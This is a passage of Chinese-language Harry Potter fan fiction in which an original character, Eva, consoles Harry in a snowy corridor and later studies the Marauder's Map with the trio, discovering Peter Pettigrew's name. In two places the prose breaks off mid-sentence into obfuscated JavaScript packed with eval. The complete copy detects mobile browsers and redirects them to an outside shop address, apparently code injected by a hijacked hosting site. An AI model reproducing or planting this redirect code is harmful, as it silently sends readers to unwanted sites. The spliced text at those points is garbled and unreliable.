下课前,卢平总结道:“记住,摄魂怪以快乐和希望为食,但它们无法理解真正坚韧的东西——那些扎根在记忆深处、与爱和责任相连的温暖。那是它们吞不下的光。”他的目光似乎无意地掠过教室,看向窗外阴沉的天空,那里正飘下今年第一场细碎的雪粒。 周五傍晚,雪已经下得很大了。鹅毛般的雪片无声地覆盖庭院、城堡屋顶和远处的山峦,将一切尖锐的轮廓都包裹在柔软的白色里。礼堂的天花板模拟出深灰色的雪夜,偶尔有银白色的“雪花”飘落,穿过蜡烛的光晕,消失在长桌上方。 麦格教授站起来,清了清嗓子。 “圣诞假期的安排,”她的声音清晰地在礼堂里回荡,“留校申请表需在下周一前交给各自院长。留校学生将统一安排住宿和餐饮。此外,”她顿了顿,目光变得严肃,“鉴于当前安全形势,假期期间城堡将实行更严格的宵禁和巡逻制度。任何学生不得在夜间单独行动,不得擅自离开城堡。违反规定者将受到严厉处罚。” 她稍作停顿,语气稍缓:“留校的学生也不必担心。我们会安排一些活动——圣诞当天有特别午餐,图书馆部分区域会在固定时间开放,如果天气允许,也可以组织在庭院散步。但所有活动都必须有教授陪同。” 礼堂里响起一阵压抑的议论声。对大多数学生而言,圣诞意味着家、炉火和礼物。但对有些人来说,它只是一个无处可去的、更漫长的禁闭。 哈利·波特盯着自己盘子边缘的银质花纹,仿佛能在那里看出命运的纹路。赫敏和罗恩早上还试图安慰他,甚至激烈地讨论了一通布莱克的事,但那些话语此刻都像隔着一层厚厚的、沾满雾水的玻璃。留校?他当然无处可去。德思礼家那张狭小的储物间床铺从来不是“家”,而真正的家……那个在戈德里克山谷的、有着温暖炉火和父母笑声的家,早已被背叛和谋杀撕得粉碎。麦格教授的通知像最后一根稻草,轻轻压在了他早已不堪重负的神经上。他感到一阵冰冷的麻木从指尖蔓延开来,格兰芬多长桌上罗恩试图讲个笑话的声音和赫敏担忧的目光,此刻都像隔着一层厚厚的、沾满雾水的玻璃,模糊而遥远。 晚餐后,雪下得更大了。Eva和帕德玛、曼蒂一起返回拉文克劳塔楼,靴子踩在新落的雪上,发出“咯吱咯吱”的轻响。冰冷的空气吸入肺中,带着雪粒清冽又刺人的气息。丽莎已经决定回家帮忙,正小声说着要给弟弟妹妹带的霍格莫德糖果。曼蒂则兴奋地计划着法国的滑雪之旅,但又忍不住回头看了看被大雪温柔覆盖的城堡,眼里闪过一丝对“冒险”的向往。 “Eva,你真的不回去吗?”帕德玛轻声问,呼出的白气迅速消散在寒冷的空气里。 Eva点点头:“妈妈觉得长途旅行对我的恢复不好。而且,”她顿了顿,“城堡里……安静。” 安静,或许也安全。至少,比外面那个有布莱克和摄魂怪游荡的世界,多一层古老的石墙。 回到公共休息室,炉火烧得很旺,驱散了从袍子缝隙钻进来的寒意。Eva在靠窗的位置坐下,继续看那本关于东西方魔法植物分类差异的书。窗玻璃上凝结着冰花,将外面的雪夜分割成无数模糊的光斑。 不知过了多久,她觉得有些气闷——也许是炉火太旺,也许是那些关于“留校”、“安全”的议论悄悄堆积在心头。她合上书,决定去图书馆归还几本到期的参考书,顺便透透气。 走廊里比平时更安静,大部分学生都躲回了公共休息室的温暖里。只有费尔奇提着灯、拖着脚步的沙沙声,偶尔从远处的拐角传来。Eva快步走着,深蓝色的袍角在摇曳的火把光影里拂过冰冷的石地板。 从图书馆出来时,雪光透过高高的彩绘玻璃窗,在走廊里投下清冷斑斓的光影。就在二楼那条连接图书馆和主楼梯的僻静回廊里,这条走廊平时很少有人来,此刻更显空旷,只有她自己的脚步声在石壁上荡起轻微的回音。她看见了那个身影。 哈利·波特独自一人,站在一扇巨大的窗前。窗外是纷纷扬扬、永无止境的大雪,将城堡和远山连成一片混沌的苍白。雪光透过玻璃,在他身上投下冰冷而破碎的光斑。他就那么站着,背脊挺得笔直,但肩膀的线条紧绷得像是随时会断裂的弓弦。一只手死死插在袍子口袋里,另一只手扶着冰冷的石质窗台,指节用力到泛出骇人的青白色。 这已经不是她第一次看见哈利这样独自呆立了。自从布莱克潜入事件后,他眉宇间就锁着一层越来越浓的阴翳,绿眼睛里时常闪过一种被逼到绝境的困兽般的惊惶,以及某种……正在从内部缓慢啃噬他的东西。Eva想起庞弗雷夫人严肃的叮嘱,想起爷爷信中“静守为宜,勿涉险地”的告诫,也想起妈妈每次谈及过去时眼底那深藏的、沉重的阴影。她的脚步本能地想要转向另一条路,像过去几周一样,安静地离开,不参与,不评判。 但就在她转身的瞬间,哈利猛地回过头。 那双绿眼睛里的东西让她呼吸骤然一滞。 不是愤怒,不是恐惧,甚至不是她预想中的绝望。而是一种被彻底凿穿后的、赤裸裸的茫然和剧痛。仿佛有什么最核心、最赖以支撑的东西,刚刚被生生挖走了,只留下一个血肉模糊的、呼呼漏着刺骨寒风的空洞。泪水没有流下来,却比任何嚎啕都更让人心头狠狠一揪。他整个人像是被抽空了所有力气,只靠最后一点僵硬维持着站姿,而那点僵硬也正在迅速崩解。 他看见是她,嘴唇剧烈地颤抖着翕动了一下,似乎想扯出一个惯常的、勉强的、属于“哈利·波特”的表情,但面部肌肉完全不听使唤。最终,他只是极其仓皇地、几乎是有些粗暴地重新扭过头去,肩膀猛地耸起,仿佛想把自己整个藏进那片映着雪光的、冰冷的玻璃里,消失在这令人窒息的现实之外。 Eva停在了原地。 脚像被钉在了冰冷的石板上。爷爷的话在耳边响起,清晰而沉重:“见其生,不忍见其死;闻其声,当思其苦。”可更多的,是暑假里在“静心茶舍”那个安静的午后,妈妈握着她的手,指尖冰凉,声音轻得像怕惊动尘埃,说起自己父母时的样子。 那些话语,那些妈妈很少提起、Eva也一直不敢深问的过往,此刻突然无比清晰地涌上心头。那不是书本上遥远的历史,也不是家族传奇里光辉的牺牲,而是妈妈眼底深处从未真正消散的伤痕,是每次新闻里出现战火时她瞬间苍白的脸色,是她总想把自己护得严严实实背后那份沉甸甸的、几乎令人喘不过气的恐惧。 她看着哈利那几乎要被自身重量和那空洞的剧痛压垮的背影,忽然模糊地“懂”了一点——那种被最信任的背弃,被夺走一切与世界连接之锚,从此天地崩塌、无处立足的感觉。暑假里茶馆老板娘那句“那位林夫人,好像就在其中”,和妈妈那双总是盛满复杂情绪的眼睛,此刻连成了一条冰冷而清晰的线。妈妈的整个世界,在她很小的时候,就被战争和牺牲彻底夺走、重塑了。而她,张丽华,是妈妈在那片废墟上,用全部的小心翼翼和沉重的爱,重新构建起来的、唯一的珍宝。 那个时候的小小的妈妈失去父母时,是否也曾希望,有一个人能停下脚步,看见她的茫然与恐惧?哪怕只是安静地站一会儿? 这个认知像一根烧红的细针,猝不及防地刺破了她平时努力维持的平静水面。底下是冰冷的、涌动的情感。她最终还是走了过去,在离他几步远的地方停下,没有靠得太近。她也看向窗外,院子里几个不知忧愁的低年级学生正在家养小精灵的帮助下堆着一个巨大的雪人,那个世界明亮、喧闹、充满简单的快乐,仿佛隔着一层永远无法真正穿透的厚玻璃。 “雪很大。”她轻声说,像在陈述一个与此刻走廊里凝固的沉重毫不相干的事实。她的声音在空旷的走廊里显得格外清晰,带着一丝不易察觉的干涩。 哈利没有回应。只有他压抑的、带着无法控制颤音的呼吸,在寂静的走廊里显得格外清晰,每一次吸气都像是吞咽着碎冰。 过了很久,久到窗外的雪人已经戴上了一顶歪斜的礼帽,久到Eva觉得自己呼出的白气都要在空气中冻成冰晶,他才开口。声音嘶哑得像是从被砂砾磨破的喉咙里一点点挤出来: “他是我父母的……朋友。” Eva安静地听着,目光仍落在远处那个渐渐成型的、快乐的雪人上。 “他们信任他。把我……托付给他。”每个字都像在吞咽碎玻璃,喉咙里发出哽咽的摩擦声,“然后他……他背叛了他们。告诉了伏地魔……他们躲在哪里。” 他的手指死死抠着粗糙的石质窗台边缘,骨节发出令人牙酸的轻微响动,仿佛想从这冰冷的实物中汲取一点支撑,或者干脆把指甲折断在里面。 “我那天……在三把扫帚……听到了。罗斯默塔女士和福吉部长……在吧台后面说。”叙述开始变得混乱、急促,仿佛不快点说完,就会被这残酷的事实噎死,或者被随之而来的情绪彻底淹没,“他们说……布莱克是我父母的保密人。他出卖了他们,然后……然后杀了小矮星彼得,还有……还有十二个麻瓜。就在街上……炸得……什么都不剩。” 最后几个字轻得像一声濒死的呜咽,消散在走廊冰冷凝固的空气里。他猛地低下头,黑色的乱发垂落,彻底遮住了脸上所有的表情,也遮住了额头上那道此刻一定在灼热刺痛的闪电形疤痕。只有那单薄肩膀无法抑制的颤抖,泄露着下面正在发生的、无声的崩裂。 走廊里只剩下令人窒息的寂静,和窗外隐约传来的、属于另一个无忧世界的欢笑声,那笑声此刻听起来像一种残忍的嘲讽。 Eva的指尖在袍子口袋里无意识地蜷缩,触碰到紫竹笔光滑微凉的笔杆,又轻轻握住了腕间的玉佩。她深深地吸了一口气,冰冷的空气刺痛肺叶,带来一丝短暂的清醒。开口时,声音比想象中更干涩,但她努力让它清晰、平稳: “我妈妈……她很小的时候,她的爸爸妈妈,也就是我的外公外婆,就去世了。” 哈利猛地抬起头,通红的、被泪水浸得视线模糊的眼睛困惑地看向她,似乎完全不明白为什么在这种时候,她要说起这个。 Eva没有看他,依旧望着窗外飘飘洒洒、仿佛要覆盖一切罪恶与悲伤的大雪,仿佛在对着那片苍茫的洁白诉说。“是很惨烈的战争。他们……和我的奶奶一样,是为了保护更多的人,选择了最危险的路。然后,就再也没回来。”她的声音很轻,像雪片落地,带着一种她很少流露的、近乎疼痛的平静。 她顿了顿,无意识地用指尖摩挲着玉佩温润的边缘,目光似乎穿过玻璃,投向了更久远的、连她自己都无法触及的时光深处。走廊里只剩下雪花扑窗的细微簌簌声,和两人压抑的呼吸。 她想起妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是一种近乎笨拙、却又沉重到让他心脏发疼的安慰方式。她没有说“一切都会好起来”,也没有说“你要复仇”或“忘记吧”。她只是告诉他:你看,我也站在一片相似的、寒冷的废墟上。我懂那种“被夺走”的感觉。 这股沉静的理解,比他预想中任何慷慨激昂的同情或鼓励,都更有力量。它像一道微弱却坚韧的光,瞬间穿透了他自怨自艾、孤愤绝望的厚重壁垒,让他那“全世界只有我最惨、我的痛苦无人能懂”的冰冷孤岛,出现了第一道裂痕。原来,他不是唯一一个在废墟上站立的孩子。 “所以,我想……我可能稍微能明白一点,”Eva的声音更轻了,目光终于从窗外收回,与他对视了短暂的一瞬,那双黑色的眼睛里没有怜悯,只有一种深切的、安静的懂得,“你刚才说的那种……被最信任的背弃,然后,整个世界好像都塌了、什么都没留下的感觉。” 话音落下,一阵短暂的沉默在两人之间蔓延。只有窗外大雪无尽无休地落下,将那雪人模糊的轮廓又温柔地覆盖了一层。那纯粹的、几乎要将一切声响都吸收殆尽的寂静,反而让刚才那些话语的重量,变得更加清晰可触。 哈利脸上的肌肉剧烈地抽动了一下,泪水终于无法控制地冲破了防线,滚落下来,烫过他冰冷的脸颊。但与此同时,绿眼睛里翻涌的暴烈绝望和毁灭性的愤怒,像是被投入了一剂镇定剂。痛苦没有消失,愤怒没有熄灭,未来依旧黑暗得令人窒息,但那种彻底孤悬于世、无人理解的、几乎要将他逼疯的窒息感,被打破了。冰冷的、却真实存在的空气,从那个裂口灌了进来。 “哈利,”Eva的目光重新落回窗外,那里,雪人的创作者们正笑着跑开,留下一个憨态可掬的白色身影独自面对风雪,“你不是只有那些……被拿走的东西。” 她停顿了一下,似乎在回想什么,语气平静地叙述着,像在拼凑一些散落的、微小的碎片: “昨天很晚了,我在图书馆看到赫敏。她桌上的书堆得比天花板还高,几乎要把她埋起来。平斯夫人抱着手臂在旁边来回走了三趟,眉头皱得能夹死狐媚子,但最终也没说什么。我离开的时候,宵禁时间都快到了,她还在灯下查……查一些厚得能当砖头的书,我瞥见书名,像是《威森加摩审判程序全录》和《近代重大魔法犯罪案例分析摘要》那类的。” 哈利的呼吸滞了一瞬,模糊的视线仿佛穿过走廊的墙壁,看到了那个埋头书海、试图用知识和规则为他、为海格、为所有人寻找一条生路的棕发女巫。 “还有,”Eva继续轻声说,声音像落雪一样细碎却清晰,“魔药课下课的时候,我在走廊看见罗恩拉住帕德玛,问她能不能借上节课的肿胀药水笔记给他抄一份——他说你的笔记被……嗯,被什么东西弄糊了,他想帮你重新整理一份整齐的。” 她没有提邓布利多深沉的目光,没有提麦格教授严厉下的担忧,也没有提魔法部那些冰冷的公文和程序——那些太遥远、太宏大。她只说了这些她亲眼看到的、很小的事情。罗恩笨拙的关心,赫敏熬夜查证的执着。这些碎片很小,但在此刻哈利的黑暗世界里,却像雪地中几盏微弱却顽强亮着的灯。 “我不知道该怎么让痛苦消失,”Eva的声音低了下去,重新变得诚实而轻微,不再试图提供答案,只是陈述事实,“我也不知道怎么能让布莱克不来,或者让那些摄魂怪走开。” 她再次看向他,目光清澈而直接,带着一种不容回避的认真:“但是,哈利,如果你现在就让自己被恨和害怕……完全吞掉,或者只活在‘什么都没了’的感觉里……” 她没有说完后面的话——那那些还在为你点灯的人,该怎么办?你自己,又该怎么办?但哈利听懂了。那未尽的话语比任何直接的劝诫都更有力。 远处传来脚步声和几个拉文克劳学生讨论古代如尼文作业的谈话声,正在靠近这条走廊。 Eva后退了一步,自然而然地拉开了两人之间过近的距离。“我得回塔楼了。”她轻声说,然后,像是想起什么微不足道的课堂细节,又像是某种笨拙的、属于她自己的安慰方式,她顿了顿,补充道,“就像魔咒课上,弗立维教授总说,有时候手腕转动的弧度和力道,比咒语本身的确切发音更重要。那些看似不完美、甚至笨拙的动作,反而能真正修复东西。” 说完,她最后看了他一眼,那眼神里没有同情,没有鼓励,只有一种平静的“看见”和“懂得”。然后她转身,深蓝色的袍角在走廊清冷的雪光与昏黄火把光影中划过一道安静的弧线,很快消失在拐角处。 哈利独自站在原地,一动不动,像一尊凝固在雪窗前的雕像。窗外的雪还在下,纷纷扬扬,无声无息,仿佛要这样一直下到世界尽头,覆盖所有欢乐、悲伤、背叛与忠诚。刚才那些几乎要将他撕裂的激烈情绪,像被这场温柔又残酷的大雪暂时覆盖,沉入一片冰冷而麻木的疲惫之中。 但他死死抠着窗台、几乎要嵌进石头里的手指,不知何时,已经松开了。掌心留下深深的、发白的凹痕,带着刺痛,却也带着活着的知觉。 雪光映着他泪痕未干、苍白疲惫的脸。绿眼睛里,那席卷一切的黑暗风暴暂时平息了,取而代之的是一种更深沉、更复杂的空洞与茫然,但在这茫然的深处,似乎有一点极其微弱的、连他自己都尚未察觉的东西,在缓缓苏醒——不是希望,或许只是一种……继续站下去的本能。他看着窗外那个戴着歪帽子的雪人,第一次注意到它那用石子拼出的笑容,带着一种笨拙又执拗的弧度。 他不再是独自站在绝对的黑暗里了。有人看见了那片黑暗,并且,把自己伤痕的一部分,举起来给他看了。 这改变不了背叛的事实,减轻不了失去的痛苦,驱散不了城堡外的摄魂怪和潜藏的杀机。 但或许,已经足够让他熬过今晚。以及,下一个。 77.秘密与墨点 十一月的最后一个傍晚,寒意已如实体般凝固在霍格沃茨的走廊里。Eva从图书馆返回拉文克劳塔楼,选择了西侧一条较少人走的回廊。这里悬挂的肖像大多不太著名,此刻正陷在各自的画框里打盹,只有壁灯投下摇晃的光晕,在古老石壁上拖长她的影子。她怀里抱着几本厚重的参考书,思绪还沉浸在古代如尼文复杂的语法结构中,脚步声在空旷的走廊里回响。 就在她经过拐角、即将转入主楼梯方向时,前方不远处的动静让她脚步几不可察地顿了一下——不是普通的谈话声,而是一种压抑的、混合着惊愕与激烈争执的急促低语,从一幅描绘中世纪狩猎场景的巨大挂毯下方阴影里传来。 是格兰芬多三人组。他们挤在阴影里,脑袋凑得很近。哈利·波特背对着她,手里紧紧攥着一卷破旧泛黄、看似空白的羊皮纸,指节用力到发白。罗恩·韦斯莱侧着脸,表情在昏暗光线下混杂着难以置信的惊恐与亢奋。赫敏·格兰杰则眉头紧锁,嘴唇飞快翕动,眼睛紧盯着哈利手中的东西,一只手无意识地抓着罗恩的袍袖。 “……这不可能,哈利,这一定是某种恶作剧魔法,或者更糟——” “但它显示了每个人!费尔奇,洛丽丝夫人,甚至皮皮鬼现在就在奖品陈列室!你看这里——” “那也可能是个陷阱!谁知道这是谁留下的?万一是布莱克——” “如果是布莱克的东西,它怎么会显示他自己在哪里?” Eva的脚步没有停。她本打算径直路过,不打扰显然处于某种秘密状态的朋友们。但就在身影即将掠过他们所在角落的阴影边缘时—— “Eva?” 赫敏最先注意到了她。棕发女巫从羊皮纸上抬起头,眼睛闪过一丝被打断的不悦和瞬间的慌乱,随即转为犹豫。她的目光在Eva脸上和哈利手中的地图间快速游移了一瞬,像是下意识在评估风险。 哈利猛地回头。在看清是Eva的瞬间,他绿眼睛里闪过复杂的情绪——惊讶、警惕,然后是一种近乎本能的释然。他想起了雪夜走廊里那双平静却懂得的眼睛,想起了在活板门、密室和之后无数时刻她从未辜负过的帮助和谨慎。手中的地图仿佛变得滚烫,一个念头强烈地撞进脑海:他们需要另一个冷静的头脑,一个能提供不同视角、而且值得信任的人。 “Eva,”他的声音比预想中更急迫,带着发现重大秘密后急需分享与确认的颤抖,但同时也压得更低,几乎成了气音,“我们……发现了个东西。需要你看看。” 罗恩也看了过来,见到是她,脸上紧绷的神色明显松懈了些,甚至下意识地将身子侧开一点,嘴唇动了动,似乎想说什么,但最终只是紧张地瞥了一眼哈利和赫敏。 Eva停下脚步,转向他们。目光自然地落回哈利手中那卷羊皮纸上。“你们在这做什么?”她问,声音同样放轻,目光扫过三人异常的神色和那卷显然非同寻常的羊皮纸。以她对这三人的了解——尤其是经历过密室事件后——如此神秘地聚集在偏僻角落,围绕一件看似古怪的物品,绝不会是小事。 哈利深吸一口气,似乎在下最后的决心。他看了一眼赫敏,赫敏极轻微地、几乎难以察觉地点了下头。罗恩咽了口唾沫。 “看这个。”哈利将地图朝她的方向倾斜,手指因兴奋而微微发抖,“弗雷德和乔治给的……活点地图。我们正在研究怎么用,要一起看看吗?” 这是一个邀请,也是一份信任的延续。从一年级的魔法石事件,到二年级密室中的并肩,再到不久前图书馆里关于巴克比克案的法律资料分享……他们之间早已建立起一种基于共同经历与彼此能力的、无需多言的默契。 Eva看着哈利诚恳中带着急切的眼神,又看了看赫敏——虽仍忧心忡忡却并未反对,甚至隐隐期待另一个冷静头脑的分析——以及罗恩那副“快来看看这超酷的东西”的表情。 “好。”她向前走了一步,来到他们围成的小圈边缘,保持了一个既能看清、又不过分侵入的距离。 他深吸一口气,重新举起魔杖,对准那卷破旧的羊皮纸。他的声音压得更低,却带上了一种开启隐秘仪式的庄重: “我庄严宣誓我不干好事。” 魔杖尖端轻触羊皮纸表面的刹那,深褐色的纸质仿佛被注入了生命。细密蜿蜒的墨线如同拥有自我意识般迅速蔓延、交织,精准地勾勒出霍格沃茨城堡每一层楼、每一条走廊、每一个房间的详尽平面图。无数细小却清晰的墨点在图上游走,每一个旁边都标注着姓名——从“阿不思·邓布利多”在校长室的静止,到“西弗勒斯·斯内普”在地窖走廊的规律移动……整座城堡的呼吸与脉搏,在这张看似破旧的羊皮纸上,无所遁形。 罗恩发出一声压抑的惊叹。赫敏屏住了呼吸,眼睛紧紧追随着那些移动的名字。 “梅林的胡子……”罗恩发出一声压抑的惊叹,“它真的能显示所有人……而且这是实时在动的!” 赫敏屏住呼吸,眼睛紧盯着地图:“这魔法太高深了……”她的声音带着敬畏,“实时追踪城堡内每一个生命体并标注姓名……这需要对城堡魔法架构和追踪咒语有极深的造诣,甚至可能涉及高深的契约魔法或灵魂标记……” “我们发现它能显示城堡里每个人的实时位置!”罗恩迫不及待地补充,手指虚点着羊皮纸,“连费尔奇和皮皮鬼在哪都一清二楚!” “不可思议。”哈利低声说,绿眼睛在昏暗光线下灼灼发亮。但他很快转向Eva,寻求她的看法:“你觉得呢?” Eva的目光扫过那些精细移动的墨点和古老的标注。这东西的设计精妙得令人心惊,功能则危险得毋庸置疑。在布莱克刚刚成功潜入、城堡戒严的当下,一张能揭示所有人行踪、甚至可能指示秘密通道的地图,意味着什么,不言而喻。 “它是个无与伦比的优势,”她轻声说,语气平静却严肃,“但知晓一切本身也是最大的风险。使用它的人,是否也会在某个层面被‘记录’或‘反向标记’?任何如此强大的魔法,都可能存在双向通道。如果它能追踪所有人,原制造者是否留有监控的后手?” 赫敏猛地抬头,眼睛骤然亮起:“对!任何高深的魔法都可能存在双向性!如果是追踪魔法,那么使用者本身也可能被反向侦测,或者,地图本身可能带有被原制造者监控的后手!” 哈利像被烫到一样,下意识地将羊皮纸卷起,仿佛想隔断某种无形的视线。“原制造者……”他低声重复,脸色发白。 罗恩则惊恐地瞥了一眼走廊尽头:“梅林!乔治和弗雷德用了它好几年!他们是不是早就……” “未必,”赫敏迅速打断他,但声音同样紧绷,“双胞胎可能只是用它避开费尔奇,没触及更深层的秘密。但现在我们知道了,就必须比他们更谨慎。” “那……我们还要用吗?”罗恩小声问,兴奋退去些许。 “用,但必须改变方式。”赫敏语速飞快,大脑已经在规划,“每次使用时间必须极短,看完立刻恢复空白。绝对不能在走廊、公共休息室这些可能被路过或注视的地方打开它。讨论相关话题时……”她看了一眼四周昏暗的回廊,“最好用闭耳塞听咒,或者确保像现在这样绝对偏僻。” Eva点了点头,补充道:“还有,如果它真有‘后手’,频繁在固定时间、固定地点使用同一个功能,也可能暴露出使用者的规律。” 哈利握紧了地图,点了点头,他的目光扫过Eva和赫敏,“这件事,只能我们四个人知道。” “好。”Eva点头。 然而,就在他们初步达成共识、注意力重新回到地图上时,罗恩的手指无意中划过代表格兰芬多塔楼男生宿舍的区域,突然僵住了。 “这……这不对吧?”他的声音变得古怪,带着一丝不易察觉的颤抖,“哈利,你看这里……我们寝室。” 哈利和赫敏顺着他手指的方向看去。在标注为“格兰芬多塔楼,男生宿舍”的区域内,代表五名住校学生的墨点旁,竟赫然存在着第六个墨点。 那个墨点旁边的名字清晰可辨: 彼得·佩迪鲁 空气瞬间凝固了。 “彼得……佩迪鲁?”哈利皱紧眉头,觉得这个名字异常耳熟,却一时想不起具体关联,“这是谁?怎么会在我们寝室?” 赫敏的脸色在短短一秒内褪尽血色。“彼得·佩迪鲁……”她倒抽一口冷气,声音因惊骇而紧绷,“就是小矮星彼得!那个在街上被布莱克杀死的英雄!《预言家日报》当年报道过,他追捕布莱克,英勇牺牲,被追授了梅林爵士团一级勋章……他们说他只留下了一根手指!” “小矮星彼得?!”哈利的心脏像是被猛地攥紧。那个从小在巧克力蛙画片上看到的名字,那个“牺牲的英雄”…… 罗恩的手开始无法控制地发抖:“可……可他在我们宿舍?这怎么可能!我们宿舍只有五个人!我,你,西莫,迪安,纳威!哪来的第六个人?!” 哈利的心脏狂跳起来,撞击着肋骨。一个死了十二年、被授予梅林爵士团一级勋章的“英雄”的名字,此刻正出现在活点地图上,定位就在他和罗恩的寝室里? “地图……会不会出错了?”他的声音干涩。 仿佛为了回应他的疑问,地图上那个标注着“小矮星彼得”的墨点,就在这时,极其缓慢地移动了一小段距离——从代表罗恩·韦斯莱床铺的位置,移到了代表哈利·波特行李箱的图标旁边。 罗恩猛地打了个寒颤,声音几乎变调:“斑斑……我的老鼠斑斑……它这几天一直躲在你的行李箱附近!不肯回我的床头柜!我以为是它老了或者克鲁克山吓的……” “克鲁克山?”赫敏猛地抓住罗恩的胳膊,棕色的眼睛里闪过一道锐利的光,“我的猫——它不是普通的猫,罗恩!我查过资料,克鲁克山有猫狸子血统,猫狸子能识破伪装和欺骗!它能察觉不对劲的东西!难怪它从暑假开始就总想抓斑斑,我怎么拦都拦不住——它可能早就感觉到斑斑不是普通老鼠!” Eva的目光紧紧锁定了那个移动的墨点。一个“死人”的名字在移动。就在哈利的行李箱旁。而罗恩的老鼠行为异常。赫敏的克鲁克山总想抓他。 赫敏眼睛瞪得极大,里面充满了难以置信的惊悚:“但如果……如果它根本不是老鼠……梅林啊……它在韦斯莱家活了十几年……” “他是个阿尼马格斯?”哈利嘶声说出那个令人毛骨悚然的推论,绿眼睛里翻涌着震惊与混乱,“一个非法的、未注册的阿尼马格斯?伪装成老鼠,藏在罗恩家……藏了整整十二年?” 这个猜测太过骇人听闻。一个被整个魔法界歌颂了十二年的殉难英雄,其实并未死亡,而是以老鼠的形态隐匿在巫师家庭中?为什么?如果彼得没死,那么当年被布莱克“杀死”的十二个麻瓜,以及彼得“本人”,究竟是怎么回事? Eva的声音打破了几乎令人窒息的沉默,依旧平稳,却像冰水般让狂跳的心脏和发热的头脑骤然冷却:“如果他是阿尼马格斯,并且刻意隐藏了十二年。那么,布莱克越狱的目标,可能并非哈利。” 赫敏猛地转向她,棕色的眼睛里充满了醒悟与更深的恐惧:“你是说……布莱克是来追捕彼得的?” “一个阿兹卡班的囚犯,甘冒被摄魂怪亲吻的风险,突破魔法部与霍格沃茨的重重守卫,两次潜入城堡。”Eva缓缓说道,条理清晰得近乎冷酷,“如果只是为了杀害一名学生,有太多更简单直接的方法。但如果,他是为了找一个刻意隐藏了十二年的人……” 哈利死死盯着地图上那个“小矮星彼得”的墨点,一股刺骨的寒意顺着脊椎窜上头顶。斑斑?那只又老又秃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036840|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、总爱躲藏、在韦斯莱家活了不可思议年岁的老鼠,可能是一个伪装了十二年的人?而小天狼星·布莱克——那个他从小被告知背叛父母、杀人如麻的疯子——可能是为了追杀这只“老鼠”才闯进霍格沃茨? “我们需要立刻告诉教授!”赫敏的声音因急切而尖锐起来。 “告诉他们什么?”罗恩的声音发着颤,脸色苍白,“说我的宠物老鼠可能是个非法的阿尼马格斯,而且还是那个死了十二年的小矮星彼得?就凭这张……旧羊皮纸?教授们会相信吗?他们会立刻没收地图,然后把我们的话当成小孩子的妄想!而且……而且斑斑在我家待了十二年!十二年!我……我还让它睡在我枕头边……”他的声音哽住了。 哈利握紧了拳头,指甲深深陷进掌心。告诉他们,就意味着必须交出活点地图——这个刚刚到手、蕴含着无限可能与秘密的武器。而且,他们有什么确凿证据?一个会移动的墨点名字?一只活得久了点的老鼠? 他的目光最后落在Eva脸上。她站在那里,深蓝色的袍子几乎融进走廊的阴影,只有侧脸被远处的壁灯镀上一层朦胧的光晕。她的眼神依旧平静,像深夜的湖面,却让他狂跳的心脏莫名安定了一分。她平静地回视,没有催促,没有给出倾向性建议,只是等待着他的决定。 “……先不要。”哈利最终艰难地开口,声音低沉,却带着一种破釜沉舟的固执,“地图的事绝对不能暴露。”他顿了一下,绿眼睛里翻涌着痛苦的决心,“关于我父母……关于那天晚上到底发生了什么……官方说的每一句话我都听过无数遍。但如果彼得真的没死……那一切都不一样了。我需要知道真相,亲手知道的真相。” 他再次看向朋友们,眼神里有请求,也有确认:“我们必须保守秘密。关于地图,还有……关于彼得可能没死的事。我们需要更多证据,确凿的证据。如果彼得真的是阿尼马格斯,他一定会有露出马脚的时候。我们需要……亲眼看见,或者抓住他现形的证据。” “但这太危险了,哈利!”赫敏抓住他的手臂,“如果布莱克真的是来杀彼得的,而彼得就在我们身边!万一布莱克再次潜入,或者彼得自己——” “所以我们必须比他们更快,更小心。”哈利打断她,语气坚决,“地图给了我们机会。我们先保密,观察,找到确凿证据再说。但我们需要计划。” 罗恩和赫敏点了点头。Eva也点了点头,动作很轻,却毫无犹豫。爷爷的叮嘱在耳边回响,妈妈的担忧沉甸甸压在心头。不涉险,求稳。 但她的目光落在哈利脸上,那双绿眼睛里除了震惊和愤怒,还有一种她曾在雪夜走廊见过的、近乎破碎的茫然。这个秘密,是关于他父母惨死的另一种可能,是关于他人生基石下埋藏的又一颗炸弹。她无法在窥见这一切后,转身离开,留他独自面对。 她想起了妈妈说起自己父母时,那种深藏在平静下的空洞。 Eva说,“嗯。我们需要比以往任何时候都更小心。如果彼得真是阿尼马格斯,他的感知很可能比普通动物敏锐得多。地图的使用必须极其隐蔽,讨论也需避开一切可能被窃听的场合。” “今晚回去之后,我们表现得和平常一模一样。”哈利深吸一口气,强迫自己冷静下来,“观察斑斑,但绝不能打草惊蛇。” 赫敏迅速补充:“轮流保管地图,使用时务必确认周围绝对无人,时间不超过三十秒。关于彼得的任何讨论,只在绝对安全时进行,最好有闭耳塞听。” 一种沉重无比、混合着恐惧、亢奋与巨大秘密的责任感,沉甸甸地压在了四个年轻人的肩头。活点地图不再仅仅是一件有趣的、违反校规的秘密武器;它变成了一把可能撬开黑暗往事真相、却也随时会招致致命危险的钥匙。 他们不约而同地再次看向地图。那个写着“小矮星彼得”的墨点,此刻静静地停在代表哈利行李箱的图标旁,一动不动,仿佛只是又一个普通的、被魔法记录的痕迹。 但每个人心里都清楚,有些东西,自羊皮纸展开、墨线蔓延的那一刻起,就已经永远地改变了。 当晚,拉文克劳公共休息室里炉火噼啪,温暖如常。Eva坐在惯常的靠窗位置,面前摊开着古代如尼文作业,深蓝色的墨水在羊皮纸上留下工整的符号。但她的思绪,却飘向了傍晚那条昏暗回廊里的阴影。 